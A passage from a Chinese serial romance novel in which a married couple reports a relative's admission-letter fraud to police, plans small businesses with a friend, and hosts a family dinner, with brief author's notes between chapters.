温淼抬眼,眼尖还是桃花艳粉,有些灼人。 女人柔软的指腹捏着季白青的指尖,声音压低几分,如果不仔细听几乎听不清楚内容。 “……了” 季白青本就会专注听她的话,辨清了话里的意思之后,呼吸频率一变。 一把将人抱起,柔软的长裙布料压在她的手臂上,裙摆晃荡,一下一下打着季白青的手臂,像是搔挠在她的心间。 太久没回家,床上还放着一床薄被,带了些淡香。 将女人压在床上,季白青半压在她身上,手顺着裙摆钻进去。 温淼都来不及阻止,就听见季白青咬着她的耳朵,声音是沙哑的软: “裙子皱了我帮你洗。” 原本整齐的裙摆被揉得发皱,湿漉漉的。 粉色的长裙层层叠叠,比寻常肌肤更高的温度透过布料一点点透出来。 窗外忽然稀稀落落下起了雨,窗户没关,随着风往屋里飘,裙子被雨露打湿,季白青的半截手臂都不能幸免,上面沾着一层盈盈水光。 裙子变得堆叠,季白青的手臂压在层叠的衣料中,传出窸窣声响。 几乎所有声音都失真,温淼阖着眼睛,长发粘黏在颊边,黑与白的极致对比之间更衬得眼角眉梢带着的春意发艳。 “张嘴。”不知道是什么时候听到了这话,温淼顺从地张唇,随后清凉的水被渡进嘴里。 她近乎贪婪地汲取着来之不易的凉,舌尖探到对方的口中吮吸,将最后一点清凉都榨干。 看着她的模样,季白青擦了擦手,没打算继续。 将人抱去澡间清洗,回来后将人放在沙发上晾着头发,她将床给收拾干净,换上了干净的床品,帮着人把头发擦干后才将人放上去。 等到季白青简单洗漱完后回到床上,温淼还没睡。 艰难地撑开了沉重的眼皮,只等着季白青回来一起睡。 季白青心软得不像话,将蚊香点上后拉上了上床拉上了蚊帐。 在温淼的眉心亲了一口,她柔声道:“好了,睡吧。” 温淼在她柔软的胸口蹭了蹭,这才安安稳稳闭上了眼,与季白青一同入睡。 第二天一早,吃过早饭后,季白青一边给温淼揉着她发酸的腰,一边将自己发现的李文宇花钱买录取通知书的事说清楚。 听到了她们买了录取通知书给李欣之后,温淼的眼神微沉。 “真没想到她们丧心病狂干这种事。” 不过也对,李文宇她们丧心病狂也不是这一两天了。 她没犹豫,直接开口:“我们去报警吧。” 季白青点头。 去报警之前,温淼想着季白青先前说的话,拿了五百块钱出来,两人往李文宇那走。 青天白日里,王瑶和李母李父早就出去干活了,借了钱之后,家里的还要养两个孩子,负担不小,李文宇却迟迟没找到满意的工作,在家歇着。 听到了敲门声后他立马上前开门。 拉开门,见着门口是温淼和季白青,他下意识觉得牙酸。 往后退了一步,他警惕问道:“你们来干什么?” 温淼看着他淡淡道:“不是你说的要借五百块?你不要了吗?” 闻言,李文宇的眼睛瞬间亮了起来。 温淼拿出五百块钱,在他面前晃了晃。 李文宇双眼放光,正想着要去拿,就被季白青握住了手腕。 手上微微用劲,看着他扭曲的神色,季白青微笑开口:“不让我们进去坐坐吗?” 说完,她将李文宇的手放开。 李文宇抽回手吃痛地揉着手腕,不情愿道:“那你们进来吧。” 门轻轻被关上,他不知道为什么,突然有一股不祥的预感。 缩了缩脖子,他警惕问道:“你们该不会是要打我吧?” 门关得那么紧,待会儿他跑都跑不出去。 温淼扯唇一笑:“没事打你干什么?” 李文宇这才放下心来。 温淼自顾自地坐了下来,抬眼看向李文宇,明明是比自己要小的亲生女儿,李文宇莫名从她眼中看到了几分属于温向荣独有的几分带着压迫的气势。 他晃了晃头,安慰是自己想多了。 下一秒就听温淼淡淡开口询问道:“你一下要那么多钱干什么?” 李文宇眼睛骨碌一转,语气遮遮掩掩:“有用。” “用来干什么,还钱?”温淼问。 李文宇磕磕巴巴:“你怎么知道?” 季白青毫不客气道:“你们不是在整栋楼都出名了。” “一栋筒子楼都被你们借完了,你们还不还钱,人家能不说出去。” 男人有些尴尬。 他道:“我们有正事才借的。” 正事就是买别人的录取通知书,顶替别人上大学的名额? 温淼扯唇一笑:“你怎么花的那么多钱总要和我们说一下吧。” “这……不好说。”李文宇理智尚存。 听他这么说,温淼和季白青直接站了起来。 “既然你不说的话,那我们也没必要借了,那些钱还是你们慢慢还吧。” 眼见着两个人都已经走到了门口,立马要拉门离开,李文宇想到那么多债务压在身上,耳边响起那些债主的嘲讽和威胁,咬了咬牙,最后开口:“等等!” 温淼扭头:“所以你借那么多钱干什么去了?” 李文宇道:“是……你妹妹她高考成绩不太好,你这个做姐姐的都上了大学,她不上的话,你阿姨在外面不是没脸,所以我们想了个办法。” 温淼一语道破:“所以你们的办法就是花钱买录取通知书?” 李文宇理直气壮:“对啊,人家家里都同意了,我花了好大功夫才找到了一个和你妹妹名字差不多的人。” 温淼转回去,抽出一本笔记本,对他开口:“写个借条,说明借款原因,还有李欣的录取通知书也给我看看,我得证明你没有说谎。” 李文宇在心里骂骂咧咧,最后想到那厚厚的一沓钱,还是黑着脸写完了,随后又去李欣的房间里翻箱倒柜,最后找出来了录取通知书。 见温淼拿着就要走,他连忙开口拦下:“诶,等等。” “钱还没给。” 温淼将钱放在桌上。 出了筒子楼之后,季白青看着李文宇没有跟上来,和温淼一起径直往派出所走。 到了地方后,借条和录取通知书被放在桌上。 “警察同志,我们要报警,有人买卖录取通知书,顶替她人的名额上学。” 【作者有话说】 寸不已,来晚了。 大半夜的猪瘾犯了,好想吃黄油年糕……可回村里了,外卖都点不了,也不知道我家这边有不有,可恶 感谢投雷和营养液,感谢评论订阅收藏 119 第119章 ◎生意◎ 闻言,在值班的几个警察对视一眼,有个中年警察站出来道:“这话可不能乱说啊,有没有证据?得有证据证明所言属实才能立案啊。” 温淼和季白青所说的可不是什么小事,高考名额被顶替这件事事关重大,一旦调查起来会牵扯到一系列的人,还要调动人力去协同调查。 所以在这之前必须要明确事情的真实性。 确定真实性之后才能够立案,经过上层允许后对此展开调查。 温淼点头,将李昕的录取通知书和李文宇签了名字还按了手印的借条一起递给警察。 接过后,两个警察一看,面色逐渐凝重起来。 她们看完后,将东西放下,看向温淼和季白青道:“两位同志,麻烦你们简单将事情的经过陈述出来。” 两人对视一眼,温淼先开口道:“我有个断绝了关系的父亲,原本不应该联系了,可他上次想来我家偷东西,被抓到了,第二次又来我家想借钱,一开口就是五百块,我没同意。” “后来我们越想越奇怪,听邻居说他刚把京市的一套房子转了出去,前几年在革委会工作肯定有前几年的存款,怎么可能一下会欠那么钱呢,意识到不对劲之后,我们就想去找我同父异母的妹妹李欣问清楚情况。” 季白青接下话头,继续道:“人是我去找的,到了宿舍找宿管看了花名册后,我发现李欣的名字变了,和以前是同音但不同字,再联想之前李文宇借钱的事,我们就猜测她是买了录取通知书,顶替了别人的名额上学。然后我们拿了五百块钱当做诱饵,一去问李文宇,果然是这样。” “警察同志,你可以看看借条,借条是李文宇亲手写的,他也按了手印,到时候可以对比,你们也可以看看,取通知书上的名字也和他女儿原本的名字不同。如果靠钱就能简单买来录取通知书,这是对其她勤勤恳恳的考生的不公平,所以我们选择大义灭亲,揭发这件事。” 此刻,在警察局的几位警察都聚拢起来,听了她们的话,都止不住地点头。 “两位女同志说得不错,你们的做法也是对的。这件事,我们会重视起来,不过要展开调查还得等一段时间,先把事情整理成案报告给所长,听所长的指挥。” 季白青和温淼点了点头,两人配合地做好了笔录,将自己所知道的情况到出后就出了警局。 这件事被交给了警察,之后的所有事都会由警察局着手调查处理清楚。 温淼和季白青也不需要再有过多的担心,她们只需要等着消息就好。 出了警察局后,抬头看着湛蓝澄澈的天空,她们唇角上扬,心情比之刚才好了不少。 季白青看了眼温淼,还有些不确定地问:“这件事能有个好结果吧?” 她对冒名顶替别人上大学这件事有心理阴影,即使在现在承受着这样的痛苦的人不是温淼。 但她们的感受都大同小异。 温淼抓住她的手,微微点头。 “放心吧,肯定可以,如果最后没把这件事解决的话,我们还可以写举报信,多写点投到政府意见箱,上面总要重视起来,最后总能得到一个让李昕满意的答案。” 她微微叹了口气:“如果这件事得到解决之后有人愿意采访报道就好了,只有激起舆论才能让所有学校都提起重视,把本校的录取学生的资料都审查一遍,这样以后就能够少一些冒名顶替别人上学的事了。” 虽然温淼并没有经历过这样的事,但是光是凭靠想象,想着那些靠着自己努力而考上大学的学生最后却没办法跨入自己心仪的学府,反而被别人侵占了劳动成果的画面,她就觉得心脏发酸发涩。 季白青侧过头去看着她,默默将她的手握紧。 她声音平淡,却有让人信服的能力:“放心吧,肯定会引起重视的。” 周天,趁着温淼固定午睡,季白青去找了陆霁,让她托关系帮忙联系京市的所有报社,将李欣顶替她人上大学的消息告知她们,顺带塞点钱,让她们都关注这件事的最后结果。 也是在这天,京市的警局着手开始调查李文宇一家。 当天,李文宇正在家翘着脚哼着小曲儿,跟个大爷似的,十分惬意。 自从他借到了五百块钱之后,王瑶对他的态度就发生了变化,说要吃猪蹄,当晚就买来做,要喝水,王瑶干什么活都要停下来给她倒杯水。 偶尔也想开口骂人,但是一想到他手里还捏着五百块钱,只能将那些怨气往心里咽。 正哼得高兴呢,突然听到了门口传来的敲门声,李文宇敲了敲腿,看了眼屋里正在骑着木马玩的李光宗。 “光宗,去开门。” 李光宗脸上的肥肉一颤,有些不高兴。 “我不,让姐姐开门。” 李文宇看了眼小儿子一眼,随他去了,提高声音道:“欣欣,来开门!” 李欣正在房间里看小说,闻言当做没听到。 在门外站了几分钟的警察没有了耐心,沉声道:“李文宇、王瑶在家吗?来开门,是警察。” 闻言,李文宇的动作一顿,差点被水呛到。 他咽下了水,软着腿站起来去开门。 一拉开门,看着门外站着的几个穿着警察制服的人,他颤声道:“警察同志,请问是有什么事吗?” 女警面无表情宣布:“你们涉嫌买卖录取通知书,现在跟我们去所里接受调查。” 李文宇腿一软,瞬间没出息地跌坐在地上。 看着警察,他磕磕巴巴道:“我……我没有。” 李光宗被陌生人吓得哇地一声哭了出来。 厨房里的王瑶隐约听到了动静,拿着锅铲出来查看情况。 见到了门口的警察后,她也愣住。 李文宇看王瑶出来了,连忙指认道:“警察同志,都是她让我去买录取通知书的,我、我才买的!你们要抓就抓她!别抓我啊!我是被迫的!” 王瑶的脸瞬间被气得涨红:“好你个李文宇,你到底是不是个男人?!你个孬种!消息不是你打听的?钱不是你给的?” 说着,她气得上前在李文宇脸上挠了几道。 女警挥了挥手,身后几个警察进门将两个人按住,其她的警察进门,将李欣所在的屋子打开。 李昕见着人之后,脸色发白,满脸虚汗,沉默着和王瑶、李文宇一起带去了警局。 经过一系列的审讯和调查,半个月之后,结果出来。 受害者李昕是在二月份收到的录取通知书,李父原本是不想让李昕上学的,可听到她说每个月都有补贴又立马改了主意,要求让李昕每个月把补贴上交,这才点头同意让她去上学。 可过了几天之后,李父在听闻和她们同一个大杂院的赵家将他家孩子的录取通知书卖了好几百块钱之后,立马也动了心思,不顾李昕的反抗,将她的录取通知书抢了过来,同样放出要卖大学名额的消息。 这才引来了李文宇和王瑶,几个人以三百块钱的价格成交,李文宇她们的要求是买断这个大学名额,不许有人去学校举报闹事。 为了不让李昕去学校闹事,李父威胁她如果敢去将事情捅破的话,就把她卖给院子里的老光棍做媳妇,常年处在李父的压迫之下,两人自然知道他蛮横的性格,也怕李昕真的就这样被卖出去,只能够打碎牙齿往下咽,日子过得无比煎熬。 调查结果出来之后,李父被判了三年的有期徒刑,王瑶和李文宇也被判了两年半,李欣是六个月缓刑。 这件事结束之后顺带将赵家买卖录取通知书的事情也拉扯出来。 这消息一出,立马被京市的各个报社争相报道,几乎所有报社都将这一例大学名额顶替案放在了报纸的版面上。 在这几天,几乎每个人只要买报纸就能够看到顶替案的来龙去脉,震惊整个京市。 这件事的逐渐被传播开,影响范围也被扩大,事情发酵开后,引起了上面的人的注意,还发布了让各大高校彻查的通知,并立了特案组进行调查,将参与进去的教育界、政界的蠹虫拉下了马。 没过多久,李欣所在的学校把李欣开除,并特意派了法学院的老师带了东西去大杂院里慰问李昕和李母,特许李昕在下半年的时间和新生一起入学。 学校做出了决定后,立马派了行政处的老师负责将每一位学生的户口调查清楚,无比确认每一名学生都是靠自己的能力考上的学校。 如果有知情者,还可以举报,确认无误后,举报的人可以获得二十块钱的奖励。 有了这一所学校做出表率,其它学校也纷纷将本校的学生调查一遍,最后京市的学校发现有接近三位数的顶替别人的名额上大学的事件。 事情逐渐传到了别省,蔓延开后全国都开始重视起来,收音机和电视机的新闻频道纷纷对此事进行报道。 全国大学都对此重视起来,让不少被顶替名额的学生都有重新回学校接受教育的机会。 温淼在学校听到了这样的消息后,觉得很高兴。 李文宇、王瑶和李父得到了该有的惩罚,被顶替的姑娘也能够继续回来上学,一切都在慢慢变好。 这便是她所想要的结果。 事情告一段落之后,京市大学陆陆续续开始放假了。 再有两周,温淼就考完试了。 不过她也没能够就这样清闲下来,除了为即将到来的期末考试做准备之外,她还要准备在八月的时候去接待外宾的材料。 京市大学的外语专业与地方外事办公室和外贸部门合作,在八月的时候,M国有一批外宾要来京市参观学习,配备的专业英语翻译不够,所以联系京市大学调配了几个学校的英语专业学生。 到底现在学外语的还少,一共也找不出几个能够顺畅和外国人沟通的,而温淼一向都是听专业英语口语磁带和收音机播放的外国频道里的口音练习的口语的,清越的声音说英语的时候流畅又清晰,口语和听力水平在整个大一最为突出,就算单独拎出来放在整个外语系里都能排在前几名。 她这个学期在学校里参加了大大小小不知道多少竞赛,最后得到的名次都不错,近乎将所有第一垄断,她又在学生会担任一定职务,负责外事辅导工作,因为形象好、发音标准代表学校接待过几次外宾,积攒了一定的经验,所以自然被学校派去了做接待工作。 温淼虽然忙,但心态很稳,并没有多紧张。 毕竟先前就与不同的外国人沟通交流过,最开始的紧张现在早就不知道被扔到哪里去了。 只是八月份的接待工作涉及了更多的生僻的专业词汇,要求她们根据下发的接待内容自己进行整理,归类背诵。 这两周,将专业课上的知识复习完之后,温淼大部分的时间都泡在了图书馆和放映室里,除了查找相应的英语词汇,就是在收听英语频道。 其实京市图书馆里收录的英语书籍不多,毕竟今年才一步步开放,今年年初才引进的外文书。 在将相关书籍都查阅了一番之后,温淼汲取自己所需要的知识后,心里还隐隐冒出了其它的想法。 再过一段时间,图书馆里的英语书籍肯定会逐渐增多,但是英文原文还是为阅读这类书籍设定了门槛。 如果可以的话,温淼想试试翻译工作,将英文书籍翻译为中文,这是她没接触过的方面。 不过真要落到实际的话,需要将手头上的事先做完。 她暂且将这一份心思按在了心里,继续着手准备接待外宾的工作。 温淼忙忙碌碌的时间里,季白青倒是逐渐空闲下来。 她们专业结课要比温淼早上一两个礼拜,考完试后季白青就回了家。 实验室那边的研究已经进展到最后阶段,不再需要那么多人盯着,于景便只留下了更有经验的三个学姐,让初来乍到的卫如兰和季白青有时间回家。 在放假前季白青那个就几个专业老师下学期的教学内容问清楚了,记下了下学期需要的教科书的名字,她放假之后直接去了市图书馆把书都借了回来,打算先慢慢学着。 对于学业的安排,季白青心里有了一定的计划。 为了让学生学到的专业知识更多,为以后步入社会、做工作打好基础,化工专业设置的五年制。 五年的时间对季白青来说并不多,可也不少。 说实话,她有些市侩,对化学工程这个专业是挺喜欢的,但是填报这一专业的目的却是想要靠在专业课上学到的本领来赚钱。 她心里早有目标。 比起学习,她还是更爱赚钱。 毕竟只有钱攒得够多,她才能做温淼背后的女人,让她能够无所顾忌地去做她想要做的任何事。 至少能用钱解决的问题季白青不会让温淼因此继续烦恼下去。 此外,无论是何香月还是温向荣,都还在村里等着她们呢。 等到之后政策放松,季白青还想把亲人都接到京市这边来,繁华的地方生活总是更为便捷,再不济,如果何香月*和季伟不愿意来京市,不舍得离开溪宁镇的话,她有资本就能在溪宁镇买房、建房甚至是投资修路,投资建设溪宁镇,让其发展起来,方便何香月和季伟的生活。 还有温棉棉,现在正放在温如嫣那养着,带不过来,但之后总要买辆汽车把猫带回来和她们一家子团聚吧。 这些都是季白青赚钱的动力。 在上学期间,她要兼顾学业、班级事务还要额外地去实验室,即使想到了赚钱的法子也没时间去实践。 季白青现在想快点将学分修满、尽早毕业,顺带把本领给学了。 虽然心里有了大概的发展方向,但她还是需要结合多种因素考虑。 自己不能去实践,但她心里还有合适的人选。 在暑假期间,她一有时间就约了陆霁出来见面。 这次见到女人,她看起来比年初初见的时候状态好了不少,脸颊肉长了回来,面色红润,皮肤莹白,看起来过得不错。 季白青和她约在家里见面,进了屋,坐在沙发上后季白青撑着脸好奇地看着她发问:“那个小孩没跟着你一起来?” 陆霁瞥了她一眼,有些无语。 “你自己都没多大,管人家叫小孩。” 季白青耸着肩膀,笑了一声:“那是因为我的心理年龄已经很大了。” 这话没说错,她要真算起来经历过的年岁,都成了老妖怪了。 李从瑾这岁数在季白青看来可不是小孩。 一想到她,季白青暂且将正事放到了一边,有些好奇地询问:“你和李从瑾到底是什么关系啊?你喜不喜欢她?” 之前一直都没来得及问,现在见面了,她忽然想起来,想要八卦几句。 毕竟如果要说喜欢的话,看陆霁现在的表情,看起来也不像是在一起了。 但是要是不喜欢的话,上次李从瑾说陆霁是她未来女朋友,她的反应看起来也没有多抗拒。 陆霁对上她满是好奇的杏眼,李从瑾故作乖巧的模样又突然在脑海里冒了出来。 她揉了揉眉心,将人甩出脑中。 “能有什么关系?不是早就说了是妹妹吗?你见过谁家妹妹可以当对象的?” 她偶尔也管温淼叫姐姐啊,这些不都是情趣,怎么不能当对象了?季白青闻言在内心腹诽道。 “可她不是喜欢你,你们这样的姐妹情不纯粹啊。” “而且这也不像是你的风格,不喜欢不是直接拒绝吗?你这样子可不像是拒绝,像是……” 像是在钓着李从瑾。 后面的话季白青没有直白说出来。 陆霁轻笑一声:“我这样不也是她情愿的,我们不过是一个愿打一个愿挨。” “我想做生意,想要接手陆家,但手里的钱没那么多,可她说,只要我不躲着她,她愿意把她的钱都给我,和她在一起前是一部分,在一起之后未来李家的钱也可以给我。” “阿青,”陆霁缓缓吐出一口气,“我拒绝不了。” 她说不清楚对李从瑾是什么感情,不算喜欢,但也不讨厌。 李从瑾说的话对她来说诱惑很大,她现在撑着没和她在一起不过是尚有良知。 但这话说出来又显得她有些虚伪,毕竟虽然她们没在一起,但她为了钱被迫和李从瑾亲密,看起来也和恋人无异,不过现在陆霁有权利拒绝更为亲密的行为,但或许没多久,她真会为了李从瑾身后的家产和对方在一起了。 这姑娘看着乖巧,但都是装的,实际性格古怪恶劣,却又足够聪明,李家家大业大,有自己的本事,一直存活道现在,那些钱将来全都是给李从瑾继承。 和陆霁空有一个陆家继承人的名号的情况大不相同。 闻言,季白青下意识是不太赞同的。 毕竟怎么能够拿感情来做交易?未免也太凉薄了。 可转念一想,陆霁确实是这种性格,她人看着温柔,实际上却不好接近,对自己想要的状态、设定下未来的目标都很明确。 李从瑾知道这些,愿意付出那么多,那还真是一个愿打一个愿挨。 不过这恋爱脑真能斗过陆霁吗? 自己和陆霁的关系好,两个人这一路来相互帮助扶持,对彼此的事都了解得差不多,所以季白青心中的天平还是倾向陆霁的。 她道:“只要你不后悔就行,别到时候人不喜欢你了你又后悔了。” 陆霁从口袋里摸出烟盒,刚捻到烟,忽然想起来对面还有个不抽烟的人。 季白青见状,也连忙道:“你别抽,我可不吸二手烟,要短命的。” 她惜命得很,要留着和温淼长命百岁呢。 看到了陆霁手上的烟,她忽然想到了之前被她从家里沙发里摸出来的烟盒。 她磨了磨牙,有些幽怨地看着陆霁:“你前几年为什么要给我老婆一盒烟?我不是和你说过她不能抽吗?” 陆霁拧着眉头仔细想想才回想起来她说的是那件事,失笑道:“你小看她了。” “当时还是她问我要的,”她挑眉,“那温淼在你面前抽烟你会让她抽吗?” 季白青不回答。 那次之后,烟被季白青烧得干净,温淼也再没提过。 如果她还做这种伤害自己身体的事,那季白青一定要狠狠地打她的屁股。 让她下次再也不敢了。 想着,季白青将自己这段时间写的方案拿了出来,给陆霁看。 “你不是要赚钱,现在有什么门路吗?要不要和我合作?” 陆霁接过那一本笔记,放开后仔细看了看,季白青写得简洁,但流程和可行性在上面展现得清清楚楚。 上面写了各种赚钱的法子,包括但不限于从羊城将文胸、各种衣服批发回来卖;在学校门口开书摊,租书、连环画给学生看;开小食铺,做吃食生意。 季白青道:“羊城的衣服挑好看的回来,那边款式多,拉回来之后好好宣传,肯定好卖。其它生意能赚的也不少。” “但我要上学,所以没时间一一实践,但是你不是只有个会计工作,快辞了吧,不怕辛苦的话就去按照我写的做,到时候保管你赚得盆满钵满。” “我手上还有几千块钱全都给你,当做是入股,赚的钱你八我二,赔了也不用还我,当然霁姐你还是少赔点,毕竟这些都是我老婆本。” “等着再过几年,政策放开之后,我们一起合伙开公司啊。” 看着对面青年飞扬的眉眼,陆霁将手里的方案捏紧,也被她的雀跃感染,多了几分激动。 她弯唇:“好,我尽量不让你亏。” 季白青点头,给她细细说着其中的门道。 “这么多生意,一个人做肯定是做不来,其实每个生意你都亲自跑一遍,这样知道了大概的流程后,就可以请个机灵的人来做,你再带着新人跑一遍,等着她们做熟练后就可以让她们自己干了。” “每个月或者每一批货都给一定的工资,肯定有人愿意来做,卖东西也是这样,自己先卖几天,定好大概的价格,这样之后请人来卖,这样知道每个东西的大概利润,给一定底薪,再按销量加钱就行。” 其实她所写的每件事都可以请人来干,唯一麻烦的就是前期需要自己先去跑一遍,这么多门生意,如果全都要干一遍的话,那真是大半年都得在路上奔波。 季白青在学校上课的事件将这一份方案写了出来,自觉可行性是百分之百,但是她还得上学,压根没时间去实践。 刚好陆霁想要赚钱,还缺钱,那两人合作,多好。 将方案细细看了一遍,陆霁深深地看了季白青一眼。 她感叹:“你们一个两个都这么聪明,我还比你们大了这么多,白长这些岁数了。” 陆霁自认为也不算笨,但是对上李从瑾,对上季白青,却实实在在地感受到了她们之间的差距。 季白青故作深奥:“我只是嘴上叫你一声姐,其实我的心理年龄比你大多了。” 陆霁懒得听她的,只道:“你别想占我便宜。” 她说实话,别人却不肯相信,季白青叹气。 她回了房间,拿出来五千块钱给陆霁,道:“喏,钱。” 到底还是在意陆霁的想法的,她见人把钱接过之后,低声道:“如果真的不喜欢李从瑾的话,那就和她说明白了,钱你需要的话,我这边也有。” 陆霁微微颔首:“放心,我有分寸。” 话虽然是这么多,她却知道,季白青有爱人,钱大部分都花在对方身上,自己没亲没故的,怎么可能心安理得地接受她的好。 陆霁要调查能够将陆有德扳倒的证据,要结识权贵,将陆有德和陆父架空,彻底接管陆家。 这些都需要钱去打点。 这是陆霁的野心。 而李从瑾知道她心中所想,即使是被利用,她也心甘情愿。 【作者有话说】 啊啊啊,改完了。 对了,今天去城里但没看到有卖黄油年糕的,抽五十个在本章留评并订阅率90以上的宝替我吃一口(简而言之就是掉落五十个100币红包 感谢投雷营养液,感谢评论订阅收藏 120 第120章 ◎出狱◎ 提前问过温淼她最后一门考试的结束时间,季白青看着点,提前二十分钟出发,骑着前段时间刚买的自行车往京市大学去,准备接人回家。 学校快放假,最近也有不少家长来帮着学生收拾东西,宿管老师对学生宿舍的管理也松懈了不少,异性是肯定不会被放进去的,但是季白青同为女性,被宿管睁一只眼闭一只眼放了进去。 她和温淼一起进到宿舍里,和她一起收拾着要带回去的东西。 季白青一有时间就会做东西送来给温淼,多出来的分量都分给了她舍友,因此温淼的舍友都认识季白青,对她的印象也不错。 见她来了还热情地同她打了招呼。 温淼要带回去的东西不多,装好之后,和还在收拾的室友道别,她们出了宿舍准备回家。 想着温淼终于回家了,今天一大早,季白青就去食品站买好了菜,准备多做些吃的。 温淼不在的时候,她吃的东西很随意,都是家里有什么就做什么,但既然现在温淼回来了,她肯定要做一顿丰盛的晚餐好好犒劳在学校里忙忙碌碌的老婆。 回到家后,季白青才有时间仔细打量温淼。 看到她真的和自己所想的无异,整个人看起来单薄纤瘦。 季白青目含怜爱地看着她,轻声道:“怎么又瘦了这么多?” 腕骨也瘦伶伶的,一把就能掐住。 温淼闻言,扭着眉头,也有些苦恼,认真解释的模样显得可爱。 “我已经努力吃很多了。” 这话并不是作假,习惯了高强度的生活节奏之后,温淼自然也知道不能让身体被落下,也不想让季白青担心,之后的每一顿饭都准时吃,就算吃不下也会硬逼着自己多吃点,最后还真习惯了食堂的伙食,甚至在学校吃的量比在家还要多些。 就是不长肉,但身体素质确实强了些。 这个学期她除了在换季的时候发了一次低烧之外基本都没再生病。 季白青亲亲她的脸,将她按在沙发上坐下。 “上午买了个西瓜,你切开吃,我先去做饭。” 她指了指在地上放着的西瓜。 见温淼点头,她将温淼的东西放好,去厨房开始着手准备做饭。 出门前半小时就开始炖的鸡现在已经好了,季白青将锅端下来放到一边,把买好的排骨焯水,随后加入酱料腌制,等着排骨被腌制好的功夫,她开始炒第三个菜。 在做爆炒猪肚的时候,温淼进来了,将切成小块的西瓜喂到季白青的唇边。 感受到唇边的凉意,季白青下意识张唇咬了一口,清甜的汁水在嘴里迸开,她眼睛微微眯起,语气含糊道谢: “谢谢老婆。” 温淼喂她吃完了一块西瓜,问清楚还要做的菜之后没回客厅,留在厨房给她备菜、打下手。 最后两人做出了竹笋炖鸡、糖醋排骨、爆炒猪肚、拍黄瓜、蒸茄子、苦瓜酿肉,一共六个菜。 端着菜放到桌上的时候,温淼还有些疑惑。 两个人怎么能吃完这么多?这还都是用的大盘子,分量不少呢。 但没多久,温知意和温皎皎就带着各自的家属上门了。 季白青给温淼解释:“我们一家不是很久没有聚过了,刚好今天你放假,我就打电话问了姑姑她们,她们也都说有时间,干脆就今天聚一聚,一起吃顿饭。” 被温知意牵着的温简楚在见到了温淼和季白青后有些激动。 “姐姐,季姐姐!” 温淼弯起眼睛,招呼她过来,揉了揉小家伙的头。 一年多没见她,现在温简楚的身高又往上蹿了一截,快要比上温淼了。 季白青也有些惊讶:“楚楚现在都这么高了啊。” 温简楚对她一笑,露出虎牙:“我要长得和季姐姐一样高。” 温知意此时正和简州一起给大家盛饭,闻言淡淡瞥了她一眼,道:“你如果不挑食的话,早就长到你季姐姐这么高了。” 季白青闻言,抹了把额头上不存在的汗。 她挺高的,就算温简楚不挑食应该也不至于才十四岁就长得和她一样高吧。 不过……她也跟着揉了揉温简楚的头发,对她道:“确实不能挑食,你淼淼姐姐就挑食,你可不能学她。” 哪有这样在小孩面前说自己的坏话的,温淼面无表情掐了一把她腰上的软肉。 季白青皱巴着一张小脸,对她讨好一笑。 温淼这才将手放下,拉着人在桌边坐下。 饭桌上,在吃饭的空隙,季白青将这两年里温向荣的生活状况向温知意她们口述了一遍。 之前因为来往信件有被监视的风险,所以她们并没有聊过与温向荣有关的事情,温向荣到底怎么样,温知意和温皎皎一无所知。 不过温知意和温皎皎都知道季白青的性格,肯定不会亏待温向荣,更何况还有温淼这个亲孙女在照顾着,温如嫣也下乡去照顾了,温向荣过得肯定不会差到哪去。 听了季白青的话,几人点了点头。 温知意给季白青夹了菜,声音里带了几分感激:“小季,这么久以来真是辛苦你了。” 季白青摇了摇头,看了眼身边的温淼,眼里带了几分柔软,温声道:“姑姑,我不辛苦,举手之劳而已,更何况我们不是一家人吗,哪里需要这么客气。” 这话说的倒是,季白青和温淼结婚了,现在也是温家的一份子。 闻言,温皎皎从姜维的口袋里掏出一本存折,递给了季白青。 季白青收下之后才发现是什么,刚想要还回去,就听她开口: “这是我和你大姑姑一起给你们存的结婚基金,连带着这几年给娘的生活费都在里面,用淼淼的户口开的,你拿着,像你说的,都是一家人就别客气了,我们也不缺这点钱。” 季白青要说出口的话慢慢咽了下去,只能将存折收下,交给了温淼。 想到前几天见到陆霁时她说的话,她对温皎皎和温知意开口询问道:“姑姑,我有个朋友,是陆家的孙女,但她和陆有德不一样,是个特别优秀又肯努力的人,之前我能够成功把奶奶救出来也都多亏了有她报信。” “她想要接手陆家,如果可以的话,你们能不能给她引荐引荐人脉、带她多露露面?” 闻言,两人爽快应下。 温知意想了想:“陆家那个,到时候可以来家属院混混眼熟,家属院不少老首长还在,如果陆霁真入了她们的眼的话,那有什么事多少都会帮帮忙的。” “我倒是也认识几个政府的人,有时间的话让她来找我,我带她去见见,你姑父也认识不少做生意的。”温皎皎也紧跟着开口。 季白青点头,想着过几天便和陆霁去说一声。 一家人说着话,时间很快过去,途中突然想到了什么,简州去车上将一个东西搬到了屋里。 他笑着对温淼道:“听知意说你需要这个,我就找了些零件自己做了个放映机,放上磁带就可以用了。” 看着和买来别无二样的放映机,季白青佩服地看了眼简州。 不愧是搞研发的,动手能力就是强。 将事情都交代好之后,她们没再多留,道别后各自回去了。 季白青和温淼一起将碗筷收拾好,烧了水洗澡后就准备睡了。 今天都有些累,她们什么也没干,靠在一起睡着了,屋子里安静祥和,两人的呼吸声浅浅交织。 从第二天起,妻妻俩每天都带着笔记去市图书馆看书学习,毕竟在家的时候氛围总是轻松一些,不知不觉中就会松懈下来,还是在图书馆的学习氛围更浓厚。 而且图书馆离她们家也并不远,走几分钟的距离。 温淼白天在图书馆整理词汇,晚上回到家便听季白青给买的英语磁带,偶尔拉季白青当工具人,让她配合练习英语口语对话。 花了几个月的事件准备,又经过了一系列的培训,终于到了八月。 外宾刚一落地,就被专人专车接送到了首钢总公司进行参观。 来参观的人数共有七八十人,温淼被分配给一个金发碧眼的女人做随行翻译。 这位来自M国的美丽小姐叫莉莉。 她们从首钢总公司的炼铁厂开始参观,在队伍的最前方,有专业的翻译官正在用英语对参观的器械和工具进行统一的讲解,专业人士和几个官员随行,站在一边不断点头,温淼和莉莉对视一眼,对她弯弯唇,小声地介绍了自己。 莉莉性格活泼,为人友善,先是热情地夸了一番温淼明艳的外表,随后很快便指着一边的高炉问她:“这是做什么用的?” 温淼早在半个月前就被带过来进行了统一培训,将每个物品的基本用途和制作流程都记得一清二楚,此时自然能够对答如流,给她解释了高炉的用途。 在观看了铁石变成生铁的过程后,她们又陆续参观了炼钢厂、轧钢车间,还听了对首钢公司的水循环的英文讲解。 上午参观完后,中午她们一起乘车去了京市饭店,温淼也跟着蹭了一顿西餐。 味道还不错,就是温淼不大吃得习惯。 与之相比,她还是更喜欢吃季白青做的中餐。 外宾参观时间共有两天,在下午的时候团队去了轨道交通公司参观,第二天的时候则是去听了为此展开的讲座。 